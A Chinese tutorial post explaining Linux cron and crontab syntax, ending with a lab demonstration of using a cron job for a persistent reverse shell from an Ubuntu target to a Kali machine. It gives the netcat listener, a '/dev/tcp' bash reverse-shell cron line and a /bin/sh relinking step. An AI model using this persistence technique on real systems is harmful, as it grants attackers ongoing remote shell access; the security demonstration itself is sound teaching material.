當前位置:
首頁 > 知識 > 對Linux定時任務的認識

對Linux定時任務的認識

在Linux 系統上面原本就有非常多的計劃性工作,因此這個系統服務是默認啟動的。但是,Linux系統也給用戶提供了可以自己設置計劃,這就是定時任務。通過定時任務,用戶可以自己設置在什麼時候執行什麼命令,在這個過程中涉及到 crontab 命令。 在Linux中,周期執行的任務一般由cron這個守護進程來處理,cron讀取一個或多個配置文件,這些配置文件中包含了命令行及其調用時間,cron的配置文件稱為「crontab」,是「cron table」的簡寫。 一般cron在3個地方查找配置文件: /var/spool/cron/ 這個目錄下存放的是每個用戶包括root的crontab任務,每個任務以創建者的名字命名。 /etc/crontab 這個文件負責安排由系統管理員制定的維護系統以及其他任務的crontab。 /etc/cron.d/ 這個目錄用來存放任何要執行的crontab文件或腳本。 cron服務一般是自啟的: service crond start 啟動服務 service crond stop 關閉服務 service crond restart 重啟服務 service crond reload 重新載入配置 service crond status 查看服務狀態 cron有兩個配置文件,一個是一個全局配置文件(/etc/crontab),是針對系統任務的;一組是crontab命令生成的配置文件(/var/spool/cron下的文件),是針對某個用戶的。定時任務配置到任意一個中都可以。 查看全局配置文件配置情況: cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don"t have to run the `crontab" # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # 查看當前用戶下的定時任務: crontab -l 或 cat /var/spool/cron/用戶名 root就是我當前用戶的定時任務。 crontab任務配置基本格式: * * * * * (command) 第一個 * 表示分鐘1~59,每分鐘用 * 或者 */1 表示 第二個 * 表示小時1~23(0表示0點) 第三個 * 表示日期1~31 第四個 * 表示月份1~12 第五個 * 表示星期0~6(0表示星期天) (command) 表示要運行的命令 在以上任何值中,星號(*)可以用來代表所有有效的值。比如,月份值中的星號意味著在滿足其它制約條件後每月都執行該命令。 整數間的短線(-)指定一個整數範圍。比如,1-4 意味著整數 1、2、3、4。 用逗號(,)隔開的一系列值指定一個列表。比如,3, 4, 6, 8 標明這四個指定的整數。 正斜線(/)可以用來指定間隔頻率。在範圍後加上 / 意味著在範圍內可以跳過 integer。譬如,0-59/2 可以用來在分鐘欄位定義每兩分鐘。間隔頻率值還可以和星號一起使用。例如,*/3 的值可以用在月份欄位中表示每三個月運行一次任務。 開頭為井號(#)的行是注釋,不會被處理。 例如: 0 4 * * * rm ~/桌面/test.txt //每天晚上四點刪除 ~/桌面/ 這個目錄下的 test.txt 這個文件 10 4 1,3,5 * * service apache2 restart //表示每月1,3,5號的4:10會重啟Apache伺服器 ...... 參數說明: usage: crontab [-u user] file crontab [ -u user ] [ -i ] { -e | -l | -r } (default operation is replace, per 1003.2) -e (edit user"s crontab) -l (list user"s crontab) -r (delete user"s crontab) -i (prompt before deleting user"s crontab) 例如:當前用戶是root,創建root的定時任務 crontab -e //進入編輯模式 寫下定時任務 然後查看當前用戶的定時任務: crontab -l 我寫的定時任務是在每天12:05時在/var/spool/cron/ 目錄下創建一個test.txt文件,可以看到任務已經執行。 定時任務反彈shell: 通常在在網路安全中,我們用crontab創建定時任務反彈shell 在本地演示一下 攻擊機:kali ip:192.168.1.184 目標機:ubuntu ip:192.168.1.170 演示開始: 先在攻擊機上監聽埠 root@kali:~# nc -lvp 8888 listening 正在監聽 接下來在目標機上寫下定時任務 crontab -e //打開編輯器,寫入 * * * * * bash -i >& /dev/tcp/192.168.1.184/8888 0>&1 成功反彈shell 不過在ubuntu下寫定時任務反彈shell有個問題: 通常linux裡面的cron中command執行的shell環境是/bin/sh 而在ubuntu中的/bin/sh 文件實際上是一個軟鏈接文件,他指向的是dash這個shell ,而實際上dash這個shell只有運行腳本的能力,而沒有交互能力。 這裡我們只需要將sh的軟鏈接修改為bash即可 sudo ln - s -f bash /bin/sh //修改軟連接需要root許可權 修改成功後就會出現上面反彈shell成功。 Ubuntu下計劃任務反彈shell需要注意的事項: 1.需要用root許可權書寫計劃 2.書寫crontab計劃的時候要將/bin/sh 軟鏈接到 /bin/bash

對Linux定時任務的認識

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 程序員小新人學習 的精彩文章:

Windows 下雙 Python 開發環境配置
打開和寫入文件(fopen和fopen s)

TAG:程序員小新人學習 |